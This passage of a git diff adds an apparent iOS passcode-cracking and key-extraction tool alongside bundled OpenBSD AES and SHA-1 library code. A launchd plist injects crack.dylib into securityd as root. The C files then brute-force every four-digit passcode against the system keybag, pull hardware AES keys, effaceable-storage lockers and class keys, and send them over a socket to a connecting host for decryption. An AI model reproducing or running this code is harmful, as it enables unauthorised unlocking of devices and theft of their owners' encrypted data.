+ s1 = + Td0[(t1 >> 24) ] ^ + Td1[(t0 >> 16) & 0xff] ^ + Td2[(t3 >> 8) & 0xff] ^ + Td3[(t2 ) & 0xff] ^ + rk[1]; + s2 = + Td0[(t2 >> 24) ] ^ + Td1[(t1 >> 16) & 0xff] ^ + Td2[(t0 >> 8) & 0xff] ^ + Td3[(t3 ) & 0xff] ^ + rk[2]; + s3 = + Td0[(t3 >> 24) ] ^ + Td1[(t2 >> 16) & 0xff] ^ + Td2[(t1 >> 8) & 0xff] ^ + Td3[(t0 ) & 0xff] ^ + rk[3]; + } +#endif /* ?FULL_UNROLL */ + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Td4[(t0 >> 24) ] & 0xff000000) ^ + (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[0]; + PUTU32(pt , s0); + s1 = + (Td4[(t1 >> 24) ] & 0xff000000) ^ + (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[1]; + PUTU32(pt + 4, s1); + s2 = + (Td4[(t2 >> 24) ] & 0xff000000) ^ + (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[2]; + PUTU32(pt + 8, s2); + s3 = + (Td4[(t3 >> 24) ] & 0xff000000) ^ + (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[3]; + PUTU32(pt + 12, s3); +} + +/* setup key context for encryption only */ +int +rijndael_set_key_enc_only(rijndael_ctx *ctx, const u_char *key, int bits) +{ + int rounds; + + rounds = rijndaelKeySetupEnc(ctx->ek, key, bits); + if (rounds == 0) + return -1; + + ctx->Nr = rounds; + ctx->enc_only = 1; + + return 0; +} + +/* setup key context for both encryption and decryption */ +int +rijndael_set_key(rijndael_ctx *ctx, const u_char *key, int bits) +{ + int rounds; + + rounds = rijndaelKeySetupEnc(ctx->ek, key, bits); + if (rounds == 0) + return -1; + if (rijndaelKeySetupDec(ctx->dk, key, bits) != rounds) + return -1; + + ctx->Nr = rounds; + ctx->enc_only = 0; + + return 0; +} + +void +rijndael_decrypt(rijndael_ctx *ctx, const u_char *src, u_char *dst) +{ + rijndaelDecrypt(ctx->dk, ctx->Nr, src, dst); +} + +void +rijndael_encrypt(rijndael_ctx *ctx, const u_char *src, u_char *dst) +{ + rijndaelEncrypt(ctx->ek, ctx->Nr, src, dst); +} diff --git a/crack/crack/bsdcrypto/rijndael.h b/crack/crack/bsdcrypto/rijndael.h new file mode 100644 index 0000000..6adeed6 --- /dev/null +++ b/crack/crack/bsdcrypto/rijndael.h @@ -0,0 +1,59 @@ +/* $OpenBSD: rijndael.h,v 1.13 2008/06/09 07:49:45 djm Exp $ */ + +/** + * rijndael-alg-fst.h + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef __RIJNDAEL_H +#define __RIJNDAEL_H + +#define AES_MAXKEYBITS (256) +#define AES_MAXKEYBYTES (AES_MAXKEYBITS/8) +/* for 256-bit keys, fewer for less */ +#define AES_MAXROUNDS 14 + +typedef unsigned char u_char; +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; + +/* The structure for key information */ +typedef struct { + int enc_only; /* context contains only encrypt schedule */ + int Nr; /* key-length-dependent number of rounds */ + u32 ek[4*(AES_MAXROUNDS + 1)]; /* encrypt key schedule */ + u32 dk[4*(AES_MAXROUNDS + 1)]; /* decrypt key schedule */ +} rijndael_ctx; + +int rijndael_set_key(rijndael_ctx *, const u_char *, int); +int rijndael_set_key_enc_only(rijndael_ctx *, const u_char *, int); +void rijndael_decrypt(rijndael_ctx *, const u_char *, u_char *); +void rijndael_encrypt(rijndael_ctx *, const u_char *, u_char *); + +int rijndaelKeySetupEnc(unsigned int [], const unsigned char [], int); +int rijndaelKeySetupDec(unsigned int [], const unsigned char [], int); +void rijndaelEncrypt(const unsigned int [], int, const unsigned char [], + unsigned char []); + +#endif /* __RIJNDAEL_H */ diff --git a/crack/crack/bsdcrypto/sha1.c b/crack/crack/bsdcrypto/sha1.c new file mode 100644 index 0000000..f07e92b --- /dev/null +++ b/crack/crack/bsdcrypto/sha1.c @@ -0,0 +1,178 @@ +/* $OpenBSD: sha1.c,v 1.9 2011/01/11 15:50:40 deraadt Exp $ */ + +/* + * SHA-1 in C + * By Steve Reid + * 100% Public Domain + * + * Test Vectors (from FIPS PUB 180-1) + * "abc" + * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D + * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" + * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 + * A million repetitions of "a" + * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F +*/ + +/* #define LITTLE_ENDIAN * This should be #define'd already, if true. */ +/* #define SHA1HANDSOFF * Copies data before messing with it. */ + +#define SHA1HANDSOFF + +#include +#include + +#include "sha1.h" + +#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) + +/* blk0() and blk() perform the initial expand. */ +/* I got the idea of expanding during the round function from SSLeay */ +#if BYTE_ORDER == LITTLE_ENDIAN +#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ + |(rol(block->l[i],8)&0x00FF00FF)) +#else +#define blk0(i) block->l[i] +#endif +#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ + ^block->l[(i+2)&15]^block->l[i&15],1)) + +/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ +#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30); +#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30); +#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30); +#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30); +#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30); + +/* Hash a single 512-bit block. This is the core of the algorithm. */ + +void +SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]) +{ + u_int32_t a, b, c, d, e; + typedef union { + unsigned char c[64]; + unsigned int l[16]; + } CHAR64LONG16; + CHAR64LONG16* block; +#ifdef SHA1HANDSOFF + unsigned char workspace[SHA1_BLOCK_LENGTH]; + + block = (CHAR64LONG16 *)workspace; + bcopy(buffer, block, SHA1_BLOCK_LENGTH); +#else + block = (CHAR64LONG16 *)buffer; +#endif + /* Copy context->state[] to working vars */ + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + e = state[4]; + + /* 4 rounds of 20 operations each. Loop unrolled. */ + R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); + R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); + R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); + R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); + R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); + R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); + R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); + R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); + R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); + R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); + R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); + R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); + R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); + R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); + R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); + R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); + R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); + R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); + R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); + R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); + + /* Add the working vars back into context.state[] */ + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + state[4] += e; + /* Wipe variables */ + a = b = c = d = e = 0; +} + + +/* SHA1Init - Initialize new context */ + +void +SHA1Init(SHA1_CTX *context) +{ + /* SHA1 initialization constants */ + context->count = 0; + context->state[0] = 0x67452301; + context->state[1] = 0xEFCDAB89; + context->state[2] = 0x98BADCFE; + context->state[3] = 0x10325476; + context->state[4] = 0xC3D2E1F0; +} + + +/* Run your data through this. */ + +void +SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len) +{ + unsigned int i; + unsigned int j; + + j = (u_int32_t)((context->count >> 3) & 63); + context->count += (len << 3); + if ((j + len) > 63) { + bcopy(data, &context->buffer[j], (i = 64 - j)); + SHA1Transform(context->state, context->buffer); + for ( ; i + 63 < len; i += 64) { + SHA1Transform(context->state, &data[i]); + } + j = 0; + } + else i = 0; + bcopy(&data[i], &context->buffer[j], len - i); +} + + +/* Add padding and return the message digest. */ + +void +SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context) +{ + unsigned int i; + unsigned char finalcount[8]; + + for (i = 0; i < 8; i++) { + finalcount[i] = (unsigned char)((context->count >> + ((7 - (i & 7)) * 8)) & 255); /* Endian independent */ + } + SHA1Update(context, (unsigned char *)"\200", 1); + while ((context->count & 504) != 448) { + SHA1Update(context, (unsigned char *)"\0", 1); + } + SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ + + if (digest) + for (i = 0; i < SHA1_DIGEST_LENGTH; i++) { + digest[i] = (unsigned char)((context->state[i >> 2] >> + ((3 - (i & 3)) * 8)) & 255); + } + bzero(&finalcount, 8); +#if 0 /* We want to use this for "keyfill" */ + /* Wipe variables */ + i = 0; + bzero(context->buffer, 64); + bzero(context->state, 20); + bzero(context->count, 8); +#ifdef SHA1HANDSOFF /* make SHA1Transform overwrite its own static vars */ + SHA1Transform(context->state, context->buffer); +#endif +#endif +} diff --git a/crack/crack/bsdcrypto/sha1.h b/crack/crack/bsdcrypto/sha1.h new file mode 100644 index 0000000..ee31467 --- /dev/null +++ b/crack/crack/bsdcrypto/sha1.h @@ -0,0 +1,26 @@ +/* $OpenBSD: sha1.h,v 1.5 2007/09/10 22:19:42 henric Exp $ */ + +/* + * SHA-1 in C + * By Steve Reid + * 100% Public Domain + */ + +#ifndef _SHA1_H_ +#define _SHA1_H_ + +#define SHA1_BLOCK_LENGTH 64 +#define SHA1_DIGEST_LENGTH 20 + +typedef struct { + u_int32_t state[5]; + u_int64_t count; + unsigned char buffer[SHA1_BLOCK_LENGTH]; +} SHA1_CTX; + +void SHA1Init(SHA1_CTX * context); +void SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]); +void SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len); +void SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context); + +#endif /* _SHA1_H_ */ diff --git a/crack/crack/com.sudo-sec.crack.plist b/crack/crack/com.sudo-sec.crack.plist new file mode 100644 index 0000000..ef2c4c3 --- /dev/null +++ b/crack/crack/com.sudo-sec.crack.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/crack.dylib + + Label + com.sudo-sec.crack + ProgramArguments + + /usr/libexec/securityd + + UserName + root + RunAtLoad + + + diff --git a/crack/crack/crack.c b/crack/crack/crack.c new file mode 100644 index 0000000..4403282 --- /dev/null +++ b/crack/crack/crack.c @@ -0,0 +1,219 @@ +// +// main.c +// crack +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include + +#include "util.h" +#include "registry.h" +#include "device_info.h" +#include "ioflash/ioflash.h" +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +void crack_enter(void) __attribute__((constructor)); +void crack_leave(void) __attribute__((destructor)); + +// This program needs to run after kernel has been patched but can run +// synchronously while data is being dumped to save time? +void crack_enter() { + syslog(LOG_ERR, "++[CRACK]++ Entering crack.dylib"); + + + // Make sure and/or wait until kernel has been patched + uint8_t* key835 = NULL; + do { + sleep(5); + key835 = IOAES_key835(); + syslog(LOG_ERR, "++[CRACK]++ Checking if AES has been patched yet..."); + } while(memcmp(key835, "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01", 16) == 0); + syslog(LOG_ERR, "++[CRACK]++ IOAES has been patched"); + + syslog(LOG_ERR, "++[CRACK]++ Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAILed to load keybag\n"); + return; + } + syslog(LOG_ERR, "++[CRACK]++ Successfully loaded keybag\n"); + + syslog(LOG_ERR, "++[CRACK]++ Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAIL: KeyBagKeys not found\n"); + return; + } + syslog(LOG_ERR, "++[CRACK]++ Got keys from system keybag\n"); + + syslog(LOG_ERR, "++[CRACK]++ Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return; + } + + int i = 0; + char* passcode = (char*) malloc(6); + memset(passcode, 0, 6); + + // Crack the passcode/key if present/possible + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "++[CRACK]++ No Passcode"); + + } else { + for(i=0; i < 10000; i++) { + sprintf(passcode, "%04d", i); + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "++[CRACK]++ Found passcode of %s", passcode); + break; + } + } + } + + syslog(LOG_ERR, "Creating output CFDictionary"); + CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, + 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + + // Grab class keys from system keybag + get_device_infos(out); + + //syslog(LOG_ERR, "Grabing FSD info"); + //CFMutableDictionaryRef nand = FSDGetInfo(0); + //if (nand != NULL) { + // CFDictionaryAddValue(out, CFSTR("nand"), nand); + //} + //syslog(LOG_ERR, "Got FSD Info"); + + syslog(LOG_ERR, "Grabbing HFS Info"); + struct HFSInfos hfsinfos={0}; + getHFSInfos(&hfsinfos); + syslog(LOG_ERR, "Got HFS Info"); + + syslog(LOG_ERR, "Getting remaining keys"); + uint8_t* key89A = IOAES_key89A(); + uint8_t* key89B = IOAES_key89B(); + syslog(LOG_ERR, "Got remaining keys"); + + uint8_t emf[36]={0}; + uint8_t lwvm[80]={0}; + uint8_t dkey[40]={0}; + uint8_t lockers[960]={0}; + // Grab and dervice keys from effaceable memory + if (!AppleEffaceableStorage__getBytes(lockers, 960)) + { + CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull); + CFDictionaryAddValue(out, CFSTR("lockers"), lockersData); + CFRelease(lockersData); + + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40)) + { + aes_key_wrap_ctx ctx; + + aes_key_wrap_set_key(&ctx, key835, 16); + + if(aes_key_unwrap(&ctx, dkey, dkey, 32/8)) + printf("FAIL unwrapping DKey with key 0x835\n"); + } + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36)) + { + doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + } + else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50)) + { + doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + memcpy(&emf[4], &lwvm[32+16], 32); + } + } + + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset); + CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n); + CFRelease(n); + addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8); + addHexaString(out, CFSTR("key835"), key835, 16); + addHexaString(out, CFSTR("key89A"), key89A, 16); + addHexaString(out, CFSTR("key89B"), key89B, 16); + addHexaString(out, CFSTR("EMF"), &emf[4], 32); + addHexaString(out, CFSTR("DKey"), dkey, 32); + + uint8_t* passcodeKey = malloc(32); + + char bootargs[256]={0}; + size_t bootargs_len = 255; + sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0); + if (bootargs_len > 1) { + CFStringRef bootargsString = CFStringCreateWithBytes(kCFAllocatorDefault, bootargs, bootargs_len - 1, kCFStringEncodingASCII, 0); + CFDictionaryAddValue(out, CFSTR("kern.bootargs"), bootargsString); + CFRelease(bootargsString); + } + + syslog(LOG_ERR, "Unlocking keybag with passcode %s", passcode); + AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835); + AppleKeyStore_printKeyBag(kb); + + syslog(LOG_ERR, "Retreiving class keys from AppleKeyStore"); + CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb); + + syslog(LOG_ERR, "Getting system passcode key"); + AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); + + printf("%s\n", hex2str(passcodeKey, 32)); + syslog(LOG_ERR, "Passcode key : %s\n", hex2str(passcodeKey, 32)); + + //save all we have for now + syslog(LOG_ERR, "Saving information"); + CFStringRef uuid = CreateHexaCFString(kb->uuid, 16); + + CFDictionaryAddValue(out, CFSTR("uuid"), uuid); + CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys); + + addHexaString(out, CFSTR("salt"), kb->salt, 20); + + if (passcode != NULL) { + CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); + CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); + CFRelease(cfpasscode); + } + if (passcodeKey != NULL) + addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); + + if (key835 != NULL) + addHexaString(out, CFSTR("key835"), key835, 16); + if (classKeys != NULL) + CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys); + + //writePlistToSyslog(out); + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + uint8_t* data = CFDataGetBytePtr(d); + + // Send it back to host so we can begin decryption + int x = sock_listen(5000); + if(x) { + int y = sock_accept(x); + if(y) { + syslog(LOG_ERR, "Successfully connected to host"); + sock_send(y, data, CFDataGetLength(d)); + close(y); + } + close(x); + } + exit(0); +} + +void crack_leave() { + syslog(LOG_ERR, "++[CRACK]++ Leaving crack.dylib\n"); +} \ No newline at end of file diff --git a/crack/crack/crack.h b/crack/crack/crack.h new file mode 100644 index 0000000..1e72db9 --- /dev/null +++ b/crack/crack/crack.h @@ -0,0 +1,14 @@ +// +// crack.h +// crack +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef crack_crack_h +#define crack_crack_h + + + +#endif diff --git a/crack/crack/crackpin.c b/crack/crack/crackpin.c new file mode 100644 index 0000000..11cfc37 --- /dev/null +++ b/crack/crack/crackpin.c @@ -0,0 +1,71 @@ +// +// crack.c +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "util.h" +#include "device_info.h" +#include "ioflash/ioflash.h" + +int crack_pin(char** pin) { + uint8_t* key835 = IOAES_key835(); + + syslog(LOG_ERR, "Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "FAILed to load keybag\n"); + return -1; + } + syslog(LOG_ERR, "Successfully loaded keybag\n"); + + syslog(LOG_ERR, "Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "FAIL: KeyBagKeys not found\n"); + return -1; + } + syslog(LOG_ERR, "Got keys from system keybag\n"); + + syslog(LOG_ERR, "Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return -1; + } + + int i = 0; + char* passcode = (char*) malloc(6); + memset(passcode, 0, 6); + + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "No Passcode"); + *pin = NULL; + return 0; + + } else { + for(i=0; i < 10000; i++) { + sprintf(passcode, "%04d", i); + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + *pin = passcode; + return 0; + } + } + } + + //device_info(<#int socket#>, <#CFDictionaryRef request#>) + + return -1; +} \ No newline at end of file diff --git a/crack/crack/crackpin.h b/crack/crack/crackpin.h new file mode 100644 index 0000000..5ebebee --- /dev/null +++ b/crack/crack/crackpin.h @@ -0,0 +1,15 @@ +// +// crack.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_crack_h +#define chop_crack_h + +char* crack_pin(); +int crack_passcode(char* pincode); + +#endif diff --git a/crack/crack/device_info.c b/crack/crack/device_info.c new file mode 100644 index 0000000..8a7c516 --- /dev/null +++ b/crack/crack/device_info.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include +#include +#include + +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" +#include "ioflash/ioflash.h" + +#include "device_info.h" +#include "registry.h" +#include "util.h" + +uint8_t lockers[960]={0}; +uint8_t lwvm[80]={0}; + +CFDictionaryRef device_info() +{ + uint8_t dkey[40]={0}; + uint8_t emf[36]={0}; + size_t bootargs_len = 255; + char bootargs[256]={0}; + + struct HFSInfos hfsinfos={0}; + + CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, + 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + + get_device_infos(out); + + CFMutableDictionaryRef nand = FSDGetInfo(0); + if (nand != NULL) + CFDictionaryAddValue(out, CFSTR("nand"), nand); + + getHFSInfos(&hfsinfos); + + uint8_t* key835 = IOAES_key835(); + uint8_t* key89A = IOAES_key89A(); + uint8_t* key89B = IOAES_key89B(); + + if (!AppleEffaceableStorage__getBytes(lockers, 960)) + { + CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull); + CFDictionaryAddValue(out, CFSTR("lockers"), lockersData); + CFRelease(lockersData); + + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40)) + { + aes_key_wrap_ctx ctx; + + aes_key_wrap_set_key(&ctx, key835, 16); + + if(aes_key_unwrap(&ctx, dkey, dkey, 32/8)) + printf("FAIL unwrapping DKey with key 0x835\n"); + } + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36)) + { + doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + } + else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50)) + { + doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + memcpy(&emf[4], &lwvm[32+16], 32); + } + } + + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset); + CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n); + CFRelease(n); + addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8); + addHexaString(out, CFSTR("key835"), key835, 16); + addHexaString(out, CFSTR("key89A"), key89A, 16); + addHexaString(out, CFSTR("key89B"), key89B, 16); + addHexaString(out, CFSTR("EMF"), &emf[4], 32); + addHexaString(out, CFSTR("DKey"), dkey, 32); + + sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0); + if (bootargs_len > 1) + { + CFStringRef bootargsString = CFStringCreateWithBytes(kCFAllocatorDefault, bootargs, bootargs_len - 1, kCFStringEncodingASCII, 0); + CFDictionaryAddValue(out, CFSTR("kern.bootargs"), bootargsString); + CFRelease(bootargsString); + } + + CFDictionaryAddValue(out, CFSTR("ramdisk revision"), CFSTR(HGVERSION)); + CFDictionaryAddValue(out, CFSTR("ramdisk compile time"), CFSTR(__DATE__ " " __TIME__ )); + + return out; +} diff --git a/crack/crack/device_info.h b/crack/crack/device_info.h new file mode 100644 index 0000000..6e395be --- /dev/null +++ b/crack/crack/device_info.h @@ -0,0 +1,5 @@ +#ifndef HGVERSION +#define HGVERSION "unknown" +#endif + +CFDictionaryRef device_info(); diff --git a/crack/crack/grab_locker.c b/crack/crack/grab_locker.c new file mode 100644 index 0000000..5641621 --- /dev/null +++ b/crack/crack/grab_locker.c @@ -0,0 +1,84 @@ +// +// main.c +// grab_locker +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +#include "util.h" + +/* + #define LOCKER_DKEY 0x446B6579 + #define LOCKER_EMF 0x454D4621 + #define LOCKER_BAG1 0x42414731 + #define LOCKER_LWVM 0x4C77564d + */ + +/* + struct EffaceableLocker + { + unsigned short magic; //0x4c6B = "kL" + unsigned short len; + unsigned int tag; //BAG1, EMF, Dkey, DONE + unsigned char data[1]; + }; + + struct BAG1Locker + { + unsigned int magic;//'BAG1'; + unsigned char iv[16]; + unsigned char key[32]; + }; + */ + +int grab_locker(uint32_t entry, unsigned char** data, unsigned int* size) { + int x = 0; + char* locker = 0; + uint8_t 